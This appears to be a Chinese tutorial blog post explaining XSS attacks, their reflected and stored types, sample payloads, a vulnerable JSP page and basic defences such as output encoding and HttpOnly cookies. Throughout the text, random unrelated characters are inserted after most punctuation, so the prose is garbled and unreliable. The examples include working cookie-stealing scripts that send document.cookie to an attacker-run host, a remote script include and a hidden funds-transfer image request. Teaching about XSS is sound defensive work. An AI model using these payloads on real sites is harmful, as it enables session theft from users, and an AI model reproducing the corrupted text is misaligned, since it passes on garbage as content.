XSS是什么隔缀？
cross site Scripting(跨域腳本攻擊)饱须，它與SQL注入是非常相似的抑诸，SQL注入攻擊中以SQL語(yǔ)句作為用戶(hù)輸入，從而達(dá)到查詢(xún)/修改/刪除數(shù)據(jù)的目的滚澜，而在XSS攻擊中粗仓，通過(guò)惡意腳本，實(shí)現(xiàn)對(duì)用戶(hù)瀏覽器的控制。好像還有點(diǎn)抽象借浊，它是web程序中常見(jiàn)的漏洞眶掌，XSS屬于被動(dòng)式且用于客戶(hù)端的攻擊方式，所以容易被忽略其危害性巴碗。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入（傳入）惡意的HTML代碼或惡意腳本朴爬，當(dāng)其他用戶(hù)瀏覽該網(wǎng)站時(shí)，這段代碼就會(huì)自動(dòng)執(zhí)行橡淆，從而達(dá)到攻擊的目的召噩。如，盜取用戶(hù)Cookie逸爵，破壞頁(yè)面結(jié)構(gòu)具滴，重定向到其他網(wǎng)站等。
這段話(huà)是使我最能理解的师倔，二話(huà)不說(shuō)貼上來(lái)
“XSS原稱(chēng)為CSS(Cross-Site Scripting)构韵，因?yàn)楹蛯盈B樣式表(Cascading Style Sheets)重名，所以改稱(chēng)為XSS(X一般有未知的含義趋艘，還有擴(kuò)展的含義)疲恢。XSS攻擊涉及到三方：攻擊者，用戶(hù)瓷胧，web server显拳。用戶(hù)是通過(guò)瀏覽器來(lái)訪(fǎng)問(wèn)web server上的網(wǎng)頁(yè)，XSS攻擊就是攻擊者通過(guò)各種辦法搓萧，在用戶(hù)訪(fǎng)問(wèn)的網(wǎng)頁(yè)中插入自己的腳本杂数，讓其在用戶(hù)訪(fǎng)問(wèn)網(wǎng)頁(yè)時(shí)在其瀏覽器中進(jìn)行執(zhí)行。攻擊者通過(guò)插入的腳本的執(zhí)行瘸洛，來(lái)獲得用戶(hù)的信息揍移，比如cookie，發(fā)送到攻擊者自己的網(wǎng)站(跨站了)反肋。所以稱(chēng)為跨站腳本攻擊那伐。XSS可以分為反射型XSS和持久性XSS，還有DOM Based XSS囚玫。(一句話(huà)喧锦，XSS就是在用戶(hù)的瀏覽器中執(zhí)行攻擊者自己定制的腳本读规。)”
XSS有哪些類(lèi)型抓督？
-
非持久型攻擊（也叫反射型攻擊）。通過(guò)GET和POST方法束亏，向服務(wù)器端輸入數(shù)據(jù)铃在。用戶(hù) 輸入的數(shù)據(jù)通常被放置在URL的query string中，或者是form數(shù)據(jù)中。如果服務(wù)器端對(duì)輸入的數(shù)據(jù)不進(jìn)行過(guò)濾定铜，驗(yàn)證或編碼阳液，就直接將用戶(hù)輸入的信息直接呈現(xiàn)給客戶(hù)，則可能造成反射型ＸＳＳ揣炕。其危害也不小帘皿，如在輸入框的name中輸入<meta http-equiv="refresh" content="5"/>,服務(wù)器不加處理，將name直接送到瀏覽器畸陡，則瀏覽器會(huì)每5秒自動(dòng)刷新一次鹰溜，那這服務(wù)器不得崩潰？另外丁恭，非持久型攻擊是一次性的曹动，僅對(duì)當(dāng)次的頁(yè)面訪(fǎng)問(wèn)產(chǎn)生影響。非持久型ＸＳＳ攻擊要求用戶(hù)訪(fǎng)問(wèn)一個(gè)被攻擊者篡改后的鏈接牲览，用戶(hù)訪(fǎng)問(wèn)該鏈接時(shí)墓陈，被植入的攻擊腳本被用戶(hù)瀏覽器執(zhí)行，從而達(dá)到攻擊目的
2.持久型攻擊（存儲(chǔ)型攻擊）通常是因?yàn)榉?wù)器端將用戶(hù)輸入的惡意腳本沒(méi)有通過(guò)驗(yàn)證就直接存儲(chǔ)在數(shù)據(jù)庫(kù)第献，并且每次通過(guò)調(diào)用數(shù)據(jù)庫(kù)的方式贡必，將數(shù)據(jù)呈現(xiàn)在瀏覽器上。則該ＸＳＳ跨站腳本攻擊將一直存在庸毫。若其他用戶(hù)訪(fǎng)問(wèn)該網(wǎng)頁(yè)赊级，則惡意腳本就會(huì)被觸發(fā)，用于盜取其他用戶(hù)的私人信息岔绸。
總的來(lái)說(shuō)理逊，ＸＳＳ漏洞分為兩種，一種是ＤＯＭ『腥唷ｂａｓｅｄ〗弧ＸＳＳ 漏洞，另一種是ｓｔｏｒｅｄ「沼ＸＳＳ漏洞羡洛。其實(shí)跟上面的兩種是一樣的。理論上藕漱，所有可輸入的地方?jīng)]有對(duì)輸入數(shù)據(jù)進(jìn)行處理的話(huà)欲侮，都會(huì)存在ＸＳＳ漏洞，漏洞的危害取決于攻擊代碼的威力肋联，攻擊代碼也不局限于ｓｃｒｉｐｔ威蕉。
ＸＳＳ的示例？
- 輸入框中直接輸入惡意腳本橄仍，如：
<script>alert(document.cookie)</script>
或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>
- 輸入框中輸入html標(biāo)簽韧涨，在標(biāo)簽中嵌入惡意腳本牍戚，如src，href虑粥，css style等如孝。
<IMG SRC="javascript:alert('XSS');">;
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<BODY BACKGROUND="javascript:alert('XSS')">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
- 將惡意腳本注入在event事件中，如onClick娩贷，onBlur第晰，onMouseOver等事件。
<a onmouseover="alert(document.cookie)">xxslink</a>
- 在remote style sheet彬祖，javascript中但荤，如
<LINK REL="stylesheet"HREF="javascript:alert('XSS');">
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
5. META 標(biāo)簽，如
<meta http-equiv="refresh"content="5" />
<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
非持久性攻擊的示例：
當(dāng)我登錄a.com后涧至，我發(fā)現(xiàn)它的頁(yè)面某些內(nèi)容是根據(jù)url中的一個(gè)叫content參數(shù)直接顯示的腹躁，猜測(cè)它測(cè)頁(yè)面處理可能是這樣，其它語(yǔ)言類(lèi)似：
<%@ page language="Java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS測(cè)試</title>
</head>
<body>
頁(yè)面內(nèi)容：<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注冊(cè)了該網(wǎng)站南蓬，并且知道了他的郵箱(或者其它能接收信息的聯(lián)系方式)纺非，我做一個(gè)超鏈接發(fā)給他，超鏈接地址為：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>赘方，當(dāng)Tom點(diǎn)擊這個(gè)鏈接的時(shí)候(假設(shè)他已經(jīng)登錄a.com)烧颖，瀏覽器就會(huì)直接打開(kāi)b.com，并且把Tom在a.com中的cookie信息發(fā)送到b.com窄陡，b.com是我搭建的網(wǎng)站炕淮，當(dāng)我的網(wǎng)站接收到該信息時(shí)，我就盜取了Tom在a.com的cookie信息跳夭，cookie信息中可能存有登錄密碼涂圆，攻擊成功！這個(gè)過(guò)程中币叹，受害者只有Tom一個(gè)润歉。
持久性攻擊示例：
由于其攻擊代碼已經(jīng)存儲(chǔ)到服務(wù)器上或者數(shù)據(jù)庫(kù)中，所以被攻擊者是很多人颈抚。
a.com可以發(fā)文章踩衩，我登錄后在a.com中發(fā)布了一篇文章，文章中包含了惡意代碼贩汉，<script>window.open(“www.b.com?param=”+document.cookie)</script>驱富，保存文章。這時(shí)Tom和Jack看到了我發(fā)布的文章匹舞，當(dāng)在查看我的文章時(shí)就都中招了褐鸥，他們的cookie信息都發(fā)送到了我的服務(wù)器上，攻擊成功策菜！這個(gè)過(guò)程中晶疼，受害者是多個(gè)人酒贬。
Stored XSS漏洞危害性更大又憨，危害面更廣翠霍。
session背景知識(shí)
我們知道HTTP是一個(gè)無(wú)狀態(tài)維持的協(xié)議，所有請(qǐng)求/應(yīng)答都是獨(dú)立的蠢莺，其間不保存狀態(tài)信息寒匙。但有些場(chǎng)景下我們需要維護(hù)狀態(tài)信息，例如用戶(hù)登錄完web應(yīng)用后躏将，再一定時(shí)間內(nèi)锄弱，用戶(hù)再進(jìn)行登錄，應(yīng)不需要再輸入用戶(hù)名/密碼進(jìn)行鑒權(quán)祸憋。
這時(shí)我們用cookie和session解決狀態(tài)維護(hù)問(wèn)題会宪，當(dāng)用戶(hù)首次登入時(shí)，服務(wù)器為該用戶(hù)創(chuàng)建一個(gè) session ID蚯窥，同時(shí)向游覽器傳送一個(gè) cookie掸鹅，cookie保存會(huì)話(huà)連接中用到的數(shù)據(jù)，session ID作為會(huì)話(huà)標(biāo)識(shí)拦赠，游覽器后續(xù)的請(qǐng)求均基于該session ID巍沙。
攻擊者可以提供一個(gè)攻擊鏈接，當(dāng)用戶(hù)點(diǎn)擊該鏈接時(shí)荷鼠，向攻擊者自己的服務(wù)器發(fā)送一條保存有用戶(hù)session ID的信息句携，這樣就可以竊取到用戶(hù)的session ID，得到用戶(hù)的執(zhí)行權(quán)限允乐。
這篇就寫(xiě)的很好：http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html
ＸＳＳ的防御矮嫉？
ｘｓｓ存在的根本原因是，對(duì)ＵＲＬ中的參數(shù)牍疏，對(duì)用戶(hù)輸入提交給服務(wù)器的內(nèi)容敞临，沒(méi)有進(jìn)行充分的過(guò)濾。如果我們能夠在ｗｅｂ程序中麸澜，對(duì)用戶(hù)提交的ＵＲＬ中的參數(shù)挺尿，和提交的所有內(nèi)容咏删，進(jìn)行充分的過(guò)濾葬荷，將所有的不合法的參數(shù)和輸入的內(nèi)容過(guò)濾掉，那么就不會(huì)導(dǎo)致“在用戶(hù)的瀏覽器中執(zhí)行攻擊者自己制定的腳本”箱熬。
但是馁害，其實(shí)充分是而完全的過(guò)濾窄俏，實(shí)際上是無(wú)法實(shí)現(xiàn)的，因?yàn)楣粽哂懈鞣N各樣的神奇的碘菜，你完全想象不到的方式來(lái)繞過(guò)服務(wù)器端的過(guò)濾凹蜈，最典型的就是對(duì)ＵＲＬ和參數(shù)進(jìn)行各種編碼限寞，比如 escape, encodeURI, encodeURIComponent, 16進(jìn)制，10進(jìn)制仰坦，8進(jìn)制履植，來(lái)繞過(guò)XSS過(guò)濾。那么我們?nèi)绾蝸?lái)防御XSS呢悄晃？
總體思路是：對(duì)輸入的的值進(jìn)行過(guò)濾玫霎，對(duì)輸出進(jìn)行編碼。也就是對(duì)所提交的所有內(nèi)容進(jìn)行過(guò)濾妈橄，對(duì)ＵＲＬ中的參數(shù)進(jìn)行過(guò)濾庶近，過(guò)濾會(huì)導(dǎo)致腳本執(zhí)行的相關(guān)內(nèi)容；然后對(duì)動(dòng)態(tài)輸出到頁(yè)面的ｈｔｍｌ編碼眷蚓，使得腳本無(wú)法在瀏覽器中執(zhí)行鼻种。雖然對(duì)輸入過(guò)濾可以被繞過(guò)，但還是會(huì)攔截很大一部分的ｘｓｓ攻擊的哦沙热。
1叉钥、對(duì)于敏感的cookie信息，使用HttpOnly校读，使document對(duì)象中找不到cookie沼侣。 2歉秫、對(duì)于用戶(hù)輸入的信息要進(jìn)行轉(zhuǎn)義
